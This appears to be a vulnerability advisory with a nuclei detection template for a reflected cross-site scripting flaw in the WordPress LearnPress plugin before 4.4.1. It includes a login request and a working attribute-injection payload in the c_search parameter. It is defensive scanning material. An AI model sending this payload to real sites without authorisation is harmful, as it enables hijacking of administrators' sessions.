WordPress LearnPress < 4.4.1 - Cross-Site Scripting

highseverity

7.1CVSS score

0.5%likelihood of exploitation, next 30 days

41%of all CVEs are less likely

Readycheck to confirm it

LearnPress < 4.4.1 does not escape the c_search parameter before reflecting it into the value attribute of the search input on the Course Builder questions page (/course-builder/questions/), allowing attribute-injection reflected XSS against authenticated admins/instructors.

Impact

Attackers can execute arbitrary JavaScript in browsers of logged-in administrators or instructors, potentially leading to session hijacking or privilege escalation.

Fix

Update the plugin to version 4.4.1 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(to_lower(header), "wordpress_logged_in_")
Send: GET /course-builder/questions/?c_search=%22%20autofocus%20onfocus%3Dalert(document.domain)%20x%3D%22
Positive when: contains(body, "name=\"c_search\" value=\"\" autofocus onfocus=alert(document.domain) x=\"\"") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-12970 -u <target>

The full check

id: CVE-2026-12970

info:
  name: WordPress LearnPress < 4.4.1 - Cross-Site Scripting
  author: anirbala98
  severity: high
  description: |
    LearnPress < 4.4.1 does not escape the c_search parameter before reflecting it into the value attribute of the search input on the Course Builder questions page (/course-builder/questions/), allowing attribute-injection reflected XSS against authenticated admins/instructors.
  impact: |
    Attackers can execute arbitrary JavaScript in browsers of logged-in administrators or instructors, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update the plugin to version 4.4.1 or later.
  reference:
    - https://wpscan.com/vulnerability/d0a2780f-ab13-4bb8-935d-2aeba1de12d2/
    - https://wordpress.org/plugins/learnpress/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12970
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-12970
    epss-score: 0.00467
    epss-percentile: 0.4079
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: thimpress
    product: learnpress
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,learnpress,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{url_encode(username)}}&pwd={{url_encode(password)}}&wp-submit=Log+In&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(to_lower(header), "wordpress_logged_in_")'
        condition: and
        internal: true

  - raw:
      - |
        GET /course-builder/questions/?c_search=%22%20autofocus%20onfocus%3Dalert(document.domain)%20x%3D%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "name=\"c_search\" value=\"\" autofocus onfocus=alert(document.domain) x=\"\"")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from